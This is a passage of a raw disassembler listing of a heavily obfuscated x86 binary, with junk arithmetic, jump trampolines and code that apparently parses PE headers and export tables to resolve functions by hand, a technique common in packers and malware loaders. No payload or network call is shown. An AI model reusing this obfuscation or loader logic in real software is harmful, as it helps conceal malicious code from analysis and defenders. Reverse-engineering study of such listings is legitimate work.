sub_4249E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_428A28: ; CODE XREF: sub_424EC9:loc_427298j xor eax, 6FC7DEFFh push edi pushf push offset sub_427D6A jmp loc_42797A ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- loc_428A3A: ; CODE XREF: hjohnhn9:loc_427B88j pop edx sub edx, 0E4E7A73Eh add edx, 9C59D4EBh or edx, 46B6616Ah rol edx, 1Fh add edx, 106308B1h jmp loc_42697C ; --------------------------------------------------------------------------- loc_428A5B: ; CODE XREF: hjohnhn9:00423DA3j jge loc_427C2C push 675F903Ah jmp sub_428162 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_428A6C: ; CODE XREF: sub_4266B5:loc_425D55j mov esi, ecx xchg esi, [esp+4+var_4] mov esp, ebp xchg eax, [esp+0] mov ebp, eax pop eax jmp loc_426B04 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247F4 loc_428A7E: ; CODE XREF: sub_4247F4+2571j sub esi, 76DE389Ch xor esi, 0DF502266h add esi, ebp add esi, 0E949C2C4h jmp loc_42634A ; END OF FUNCTION CHUNK FOR sub_4247F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_428A97: ; CODE XREF: sub_428E98-1E11j pop esi push offset loc_4276EB jmp loc_424FDE ; END OF FUNCTION CHUNK FOR sub_428E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428AA2: ; CODE XREF: sub_42304F:loc_424F48j push offset sub_423F65 jmp nullsub_73 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D38 loc_428AAC: ; CODE XREF: sub_424D38+15j call sub_427564 push offset loc_4268D3 jmp loc_423958 ; END OF FUNCTION CHUNK FOR sub_424D38 ; =============== S U B R O U T I N E ======================================= sub_428ABB proc near ; DATA XREF: sub_428D49+11o cmp ds:dword_426E3C, 0 jnz loc_427FBF push offset loc_42805E jmp nullsub_82 sub_428ABB endp ; --------------------------------------------------------------------------- loc_428AD2: ; CODE XREF: hjohnhn9:00426A1Cj popf jmp loc_426491 ; --------------------------------------------------------------------------- loc_428AD8: ; CODE XREF: hjohnhn9:00427770j cmp edx, 0B4BB5C59h jmp loc_4240FF ; --------------------------------------------------------------------------- db 0DAh dword_428AE4 dd 0 ; DATA XREF: sub_4264CF+4r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42392D loc_428AE8: ; CODE XREF: sub_42392D+Cj jmp loc_424E36 ; END OF FUNCTION CHUNK FOR sub_42392D ; --------------------------------------------------------------------------- db 88h, 0F5h, 6Fh dword_428AF0 dd 0 ; DATA XREF: hjohnhn9:004236CDw ; hjohnhn9:004236D2r ... dword_428AF4 dd 93B23775h, 46C51999h ; DATA XREF: sub_427C9B-219Co db 1Bh, 36h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240E6 loc_428AFF: ; CODE XREF: sub_4240E6+14j jmp loc_42744E ; END OF FUNCTION CHUNK FOR sub_4240E6 ; --------------------------------------------------------------------------- dword_428B04 dd 0 ; DATA XREF: sub_426671-657r ; hjohnhn9:0042669Aw ... dword_428B08 dd 0 ; DATA XREF: sub_42855B-5237r ; sub_427C9B-4527w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428CE7 loc_428B0C: ; CODE XREF: sub_428CE7+15Aj jmp nullsub_121 ; END OF FUNCTION CHUNK FOR sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_428B11: ; CODE XREF: sub_428183-32CBj jmp loc_42332F ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- dw 8362h dword_428B18 dd 0 ; DATA XREF: sub_42362A+Aw ; sub_42363F+2641r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428B1C: ; CODE XREF: sub_427486+1467j jmp loc_428BC1 ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_428B22: ; CODE XREF: sub_427564-2AA0j jmp loc_423A98 ; END OF FUNCTION CHUNK FOR sub_427564 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428B28 proc near ; CODE XREF: hjohnhn9:0042386Aj ; sub_426354-10D5p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423279 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp loc_423279 sub_428B28 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428B34: ; CODE XREF: sub_425BD2:loc_426EFEj jz loc_4277E8 jmp loc_427028 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- and edx, ebp jmp sub_426D17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428B46: ; CODE XREF: sub_42325E:loc_426FE4j jnz loc_424E6B loc_428B4C: ; CODE XREF: sub_42325E:loc_427BBDj add esi, 0E8DA9B7Fh add esi, ebp add esi, 0D5210B75h mov esi, [esi] jmp loc_428F20 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_428B61: ; CODE XREF: sub_4262C5-279Dj ; sub_424631:loc_425B0Ej push ecx call sub_428829 loc_428B67: ; CODE XREF: sub_426354-57j ; hjohnhn9:00426512j jmp loc_425C11 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- loc_428B6C: ; CODE XREF: hjohnhn9:004241B9j jmp loc_42671A ; --------------------------------------------------------------------------- loc_428B71: ; DATA XREF: sub_423FB9+Ao mov eax, [eax] cmp dword ptr [eax+3Ch], 0 jz loc_42476D jmp loc_427208 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_428B82: ; CODE XREF: sub_424E4F:loc_4265B3j mov [ebp+var_8], eax jmp loc_4244E4 ; END OF FUNCTION CHUNK FOR sub_424E4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_428B8A: ; CODE XREF: sub_424A78+216Bj test byte ptr [ebp-8], 8 push offset sub_42626F jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_428B98: ; CODE XREF: hjohnhn9:004273E9j not ebp pop edx push 0E1B35378h loc_428BA0: ; CODE XREF: hjohnhn9:loc_427F4Ej push offset sub_426CC8 jmp locret_42664F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423753 loc_428BAA: ; CODE XREF: sub_423753+3ADCj add edx, ecx ; END OF FUNCTION CHUNK FOR sub_423753 ; START OF FUNCTION CHUNK FOR sub_426354 loc_428BAC: ; CODE XREF: sub_423753:loc_425CF5j ; hjohnhn9:00426F39j ... mov eax, [ebp-8] mov ecx, 0Ah cdq idiv ecx push offset sub_425B34 jmp loc_42854C ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428BC1: ; CODE XREF: sub_427486:loc_428B1Cj rol edx, 17h test edx, 2000000h jmp loc_427292 ; END OF FUNCTION CHUNK FOR sub_427486 ; =============== S U B R O U T I N E ======================================= sub_428BCF proc near ; DATA XREF: sub_425E94+5o var_4 = dword ptr -4 push eax mov eax, [ebp-4] mov eax, [eax+3Ch] cdq add eax, [esp+4+var_4] adc edx, [esp+4] call sub_427994 sub_428BCF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424631 loc_428BE3: ; CODE XREF: sub_424631+14E3j jmp loc_423B24 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_428BE8: ; CODE XREF: sub_424698:loc_4241A5j sub edi, eax and ecx, ebx jb loc_425C56 jmp loc_4261CF ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_428BF7: ; CODE XREF: sub_423F65:loc_426C64j and eax, ds:4000F6h push offset loc_424056 jmp nullsub_79 ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_428C07: ; CODE XREF: sub_428D0E+Bj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_428EEB mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_423B92 ; END OF FUNCTION CHUNK FOR sub_428D0E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428C28: ; CODE XREF: hjohnhn9:00426171j jmp loc_4246ED ; --------------------------------------------------------------------------- loc_428C2D: ; DATA XREF: sub_426671-34FBo push eax pushf push 0C227AD4Bh pop eax jmp loc_425D00 ; --------------------------------------------------------------------------- call sub_4235C9 ; START OF FUNCTION CHUNK FOR sub_426604 loc_428C3F: ; CODE XREF: sub_426604+10j jmp loc_426894 ; END OF FUNCTION CHUNK FOR sub_426604 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428C44: ; CODE XREF: sub_424631+B51j jmp loc_425235 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_428C49: ; CODE XREF: sub_423B05-C5j jmp loc_425252 ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_428C4E proc near ; CODE XREF: hjohnhn9:00428115j ; sub_42870E+5p ; FUNCTION CHUNK AT 00425EA4 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx pop ebp mov eax, ds:dword_423950 call sub_42859A loc_428C5E: ; CODE XREF: sub_424631-FC5j mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_425EA4 sub_428C4E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428C75: ; CODE XREF: sub_424631-FCBj cmp dword ptr [ebp-10h], 2 jnz loc_426894 jmp loc_4230C9 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_428C84: ; CODE XREF: sub_423BC3:loc_424FE3j mov ebp, eax xchg ebp, [esp-4+arg_0] push 2173D128h xchg ecx, [esp+0] mov eax, ecx pop ecx or eax, ds:4000F0h xor eax, 43105B17h jmp loc_4270E3 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- call sub_427B7A ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428CAA: ; CODE XREF: sub_425BD2+1C28j jmp loc_426235 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_428CAF proc near ; CODE XREF: sub_4278DC:loc_427A24j ; sub_425BD2:loc_428DA6p ; FUNCTION CHUNK AT 00427048 SIZE 00000018 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] mov byte ptr [eax], 0 push 99D469C7h add eax, 7F96339Ah jmp loc_427048 sub_428CAF endp ; =============== S U B R O U T I N E ======================================= sub_428CC9 proc near ; DATA XREF: sub_425E49+7o ; FUNCTION CHUNK AT 00423E25 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425B86 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004288C9 SIZE 0000000B BYTES push eax call sub_4278DC test eax, eax jz loc_42476D jmp loc_4288C9 sub_428CC9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 3560E78Eh push ebp jmp sub_4248F9 ; =============== S U B R O U T I N E ======================================= sub_428CE7 proc near ; CODE XREF: hjohnhn9:0042331Bj ; sub_4263C7+7p ; FUNCTION CHUNK AT 00428B0C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E3C SIZE 0000000A BYTES xchg edx, [esp+0] pop edx push eax call sub_42345B jmp loc_428E3C sub_428CE7 endp ; --------------------------------------------------------------------------- push 4F6CFCF7h jmp loc_42430F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428D00: ; CODE XREF: sub_426F85-EA0j mov [ebp-10h], eax mov eax, [ebp-10h] mov eax, [eax+60h] jmp loc_4277CE ; END OF FUNCTION CHUNK FOR sub_426F85 ; =============== S U B R O U T I N E ======================================= sub_428D0E proc near ; CODE XREF: sub_427C53+3j ; FUNCTION CHUNK AT 00423B92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004277C5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00428C07 SIZE 00000020 BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_428C07 sub_428D0E endp ; =============== S U B R O U T I N E ======================================= sub_428D1E proc near ; CODE XREF: hjohnhn9:00427A2Bj ; sub_42304F:loc_428079p xchg edi, [esp+0] pop edi mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] call sub_427810 sub_428D1E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4250C3 loc_428D2E: ; CODE XREF: sub_4250C3+7j jmp loc_428F58 ; END OF FUNCTION CHUNK FOR sub_4250C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_428D33: ; CODE XREF: sub_428D64:loc_426A58j mov al, [ebp-0Bh] mov ecx, 8 sub ecx, eax xor eax, eax mov al, [ebp-9] shl eax, cl jmp loc_424286 ; END OF FUNCTION CHUNK FOR sub_428D64 ; =============== S U B R O U T I N E ======================================= sub_428D49 proc near ; CODE XREF: sub_424877:loc_4265EEp ; hjohnhn9:004272DFj xchg eax, [esp+0] pop eax add esp, 0FFFFFFECh mov eax, offset dword_425AEC call sub_427C43 push offset sub_428ABB jmp nullsub_83 sub_428D49 endp ; =============== S U B R O U T I N E ======================================= sub_428D64 proc near ; DATA XREF: sub_4262C5-2E5Ao ; FUNCTION CHUNK AT 00424286 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426A58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042876C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428D33 SIZE 00000016 BYTES mov al, [ebp-0Ah] and al, 7 mov [ebp-0Bh], al xor eax, eax jmp loc_426A58 sub_428D64 endp ; --------------------------------------------------------------------------- add edx, ecx sbb esi, 0BF9BA491h jmp sub_424B30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_428D80: ; CODE XREF: sub_423B05:loc_4263DEj push 0C5B0C62Bh pop eax add eax, 63E2D2B1h sub eax, 0B9943B0h and eax, 4310F3D6h add eax, 0B61FD10Eh jmp loc_4233E1 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- locret_428DA3: ; CODE XREF: hjohnhn9:0042908Ej retn ; --------------------------------------------------------------------------- loc_428DA4: ; CODE XREF: hjohnhn9:00423593j mov [ebx], ebp ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_428DA6: ; CODE XREF: sub_426C09:loc_42361Fj ; hjohnhn9:loc_4251A7j ... call sub_428CAF loc_428DAB: ; CODE XREF: sub_426D02:loc_42326Aj add eax, ebp push ecx push 57FC02BCh pop ecx xor ecx, 297E2B69h rol ecx, 2 jmp loc_425D5B ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_428DC2: ; DATA XREF: sub_4281B9+11o cmp dword ptr [eax-1Ch], 0F6h setz al jmp loc_424EE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428DD1: ; CODE XREF: sub_424631:loc_4249A3j push offset sub_427D9D jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_424631 ; =============== S U B R O U T I N E ======================================= sub_428DDB proc near ; DATA XREF: sub_428271-39Ao ; FUNCTION CHUNK AT 00426A92 SIZE 00000005 BYTES xor edx, edx push edx push eax loc_428DDF: ; CODE XREF: sub_427852:loc_4242E8j mov eax, [ebp-18h] add eax, eax push offset sub_427E54 jmp loc_426A92 sub_428DDB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428DEE: ; CODE XREF: sub_427486-28Ej jz loc_4288D7 jmp loc_42736F ; END OF FUNCTION CHUNK FOR sub_427486 ; =============== S U B R O U T I N E ======================================= sub_428DF9 proc near ; CODE XREF: sub_4265CD-32E0p ; hjohnhn9:004266EBj arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg edi, [esp-4+arg_0] retn sub_428DF9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E01 proc near ; CODE XREF: hjohnhn9:00426AB4p push ebp mov ebp, esp push ecx mov esp, ebp sub_428E01 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424698 loc_428E07: ; CODE XREF: sub_424698:loc_423AD2j jmp loc_424757 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_428E0C: ; CODE XREF: sub_427C9B:loc_424208j ror eax, 0Fh mov ds:dword_423390, eax retn ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428E16: ; CODE XREF: sub_424631+30A8j jmp loc_425164 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_428E1B: ; CODE XREF: sub_424698-D98j rol eax, 0Fh push ebp mov ebp, eax push offset loc_428F02 jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- or edx, ecx jmp sub_423753 ; --------------------------------------------------------------------------- and edx, ebx jmp sub_4240BC ; --------------------------------------------------------------------------- loc_428E39: ; CODE XREF: hjohnhn9:00424DDDj xchg eax, [esp] ; START OF FUNCTION CHUNK FOR sub_428CE7 loc_428E3C: ; CODE XREF: sub_428CE7+Aj push offset sub_424D99 jmp loc_428B0C ; END OF FUNCTION CHUNK FOR sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_428E46: ; CODE XREF: sub_426749+1j mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_426E54, 0 jnz loc_423741 lea edx, [ebp-14h] mov eax, offset dword_426E60 jmp loc_4281F8 ; END OF FUNCTION CHUNK FOR sub_426749 ; =============== S U B R O U T I N E ======================================= sub_428E65 proc near ; DATA XREF: sub_4278F6+4o cmp ds:dword_423940, 0 push offset loc_423C44 jmp loc_424918 sub_428E65 endp ; =============== S U B R O U T I N E ======================================= sub_428E76 proc near ; CODE XREF: sub_426A30-213Cp ; hjohnhn9:00427217j xchg edx, [esp+0] pop edx mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_425B24 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_425B24 jmp loc_427E4F sub_428E76 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_428E98 proc near ; CODE XREF: sub_428CC9-3FAj ; FUNCTION CHUNK AT 00423E17 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424FDE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042707F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00428A97 SIZE 0000000B BYTES push ebx jle loc_426FE4 test esi, 0C845AEE7h jmp loc_423E17 sub_428E98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A28 loc_428EAA: ; CODE XREF: sub_424A28:loc_4284A7j or edx, 0DAC2EAFDh xchg esi, eax and eax, 84FD1F4Dh adc edx, esi jmp sub_42677F ; END OF FUNCTION CHUNK FOR sub_424A28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428EBF: ; CODE XREF: sub_42325E:loc_4231D4j ; sub_427C9B:loc_4271AEj call sub_424946 locret_428EC4: ; CODE XREF: sub_428DDB:loc_426A92j retn ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_428EC5: ; CODE XREF: hjohnhn9:004245FDj jmp loc_428363 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428ECB: ; CODE XREF: hjohnhn9:00423C80j jmp locret_4285D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_428ED0: ; CODE XREF: sub_424819:loc_426875j ; hjohnhn9:loc_426889j rol ebx, 14h cmp ebx, 0D223451h jmp loc_423EC7 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_428EDE: ; CODE XREF: sub_426A78:loc_4250D5j xor ecx, edi jmp loc_426573 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_428EE5: ; CODE XREF: sub_427E54:loc_423E31j add eax, [ebp-4] mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_427E54 ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428EEB: ; CODE XREF: sub_426F85-EB4j ; sub_426F85+11CDj ... mov eax, [ebp-0Ch] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426F85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428EF2: ; CODE XREF: sub_428271:loc_427EC8j ; sub_427852+AD7j inc dword ptr [ebp-18h] jmp loc_425156 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- rol esi, 4 jmp sub_426AF6 ; --------------------------------------------------------------------------- loc_428F02: ; DATA XREF: sub_424698+4789o xchg ebp, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_428F06: ; CODE XREF: sub_426D02+10j jmp loc_427458 ; END OF FUNCTION CHUNK FOR sub_426D02 ; =============== S U B R O U T I N E ======================================= sub_428F0B proc near ; CODE XREF: hjohnhn9:loc_426AADp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423598 SIZE 00000010 BYTES push edi mov edi, ebp xchg edi, [esp+4+var_4] jmp loc_423598 sub_428F0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428F16: ; CODE XREF: sub_427852-DAAj add eax, [edx+20h] xor edx, edx call sub_428271 ; END OF FUNCTION CHUNK FOR sub_427852 ; START OF FUNCTION CHUNK FOR sub_42325E loc_428F20: ; CODE XREF: sub_42325E+58FEj xor eax, esi push offset sub_42420D jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_428F2C: ; CODE XREF: hjohnhn9:00424BC9j jns loc_423533 and edx, 0B8C2C0D4h jmp loc_42706D ; --------------------------------------------------------------------------- call sub_4262C5 xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428F45: ; CODE XREF: sub_42304F+1D45j jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_42304F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428F4A proc near ; DATA XREF: sub_425CB3+B09o push edx mov edx, ebp xchg edx, [esp+0] mov ebp, esp push edi jmp loc_4249D7 sub_428F4A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250C3 loc_428F58: ; CODE XREF: sub_4250C3:loc_428D2Ej cmp dword ptr [ebp-4], 0 jz loc_4244EE push offset loc_426255 jmp nullsub_93 ; END OF FUNCTION CHUNK FOR sub_4250C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_428F6C: ; CODE XREF: sub_427F90:loc_4275E4j xor eax, eax mov [ebp+var_8], eax loc_428F71: ; CODE XREF: sub_42486B:loc_42836Dj jnb loc_42849F mov eax, [ebp+var_C] cmp byte ptr [eax], 0 jnz loc_42712D mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_42440F ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_428F8E: ; CODE XREF: hjohnhn9:loc_4240FFj ; sub_426C09-D89j jb loc_42654D jg loc_42895C jmp loc_428DA6 ; END OF FUNCTION CHUNK FOR sub_426C09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_428F9F: ; CODE XREF: sub_423BC3+3EC4j adc esi, 0EEB2035Eh xor ecx, 62F29220h rol esi, 0Dh loc_428FAE: ; CODE XREF: sub_423BC3:loc_427A7Ej rol eax, 16h xor eax, 12060420h xchg eax, [esp-8+arg_4] jmp loc_4260F9 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- xor ecx, esi jle loc_428675 jmp loc_423FA6 ; --------------------------------------------------------------------------- loc_428FCC: ; DATA XREF: sub_42790F+8o xchg ecx, [esp] mov edi, ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428FD3 proc near ; CODE XREF: sub_427486:loc_4288D7p push ebp mov ebp, esp jmp sub_426D02 sub_428FD3 endp ; --------------------------------------------------------------------------- loc_428FDB: ; CODE XREF: hjohnhn9:loc_4266B0j inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425BB8 jmp loc_427F64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_428FEC: ; CODE XREF: sub_4278DC:loc_427F70j pop edi push 0FA4754E4h pop eax and eax, ds:4000F1h add eax, 403CEF18h mov eax, [eax] or eax, eax jmp loc_42808F ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_429008: ; CODE XREF: sub_425BD2:loc_425AE1j pushf test ebp, esi jmp loc_424454 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C8 loc_429013: ; CODE XREF: sub_4279C8+Aj jmp locret_426832 ; END OF FUNCTION CHUNK FOR sub_4279C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424946 loc_429018: ; CODE XREF: sub_424946+11j jmp loc_4281EA ; END OF FUNCTION CHUNK FOR sub_424946 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_42901D: ; CODE XREF: sub_427564-3858j jmp loc_42825D ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_429022: ; CODE XREF: sub_424161-CA3j jmp loc_4231F0 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_429027: ; CODE XREF: sub_4236A7:loc_424F57j cmp esi, 0D7B1D993h jmp loc_424BAE ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_429032: ; CODE XREF: sub_4260BD:loc_42873Aj mov edi, esi xchg edi, [esp+0] or esi, eax jmp loc_423BF1 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_42903E: ; DATA XREF: sub_4279C8+5o xchg esi, [esp] mov eax, esi pop esi pop eax push eax push offset sub_423D67 jmp nullsub_94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_429050: ; CODE XREF: sub_427C9B:loc_4271A9j jo loc_427B9C test edx, 606EBC7Dh jmp loc_42858D ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_429061: ; CODE XREF: sub_4287BF:loc_423767j call sub_428436 test al, al jnz loc_4268DB mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_42867B mov eax, [ebp-4] inc eax jmp loc_42757E ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- loc_429083: ; CODE XREF: hjohnhn9:0042910Dj or edx, 0F4A62BC0h loc_429089: ; CODE XREF: 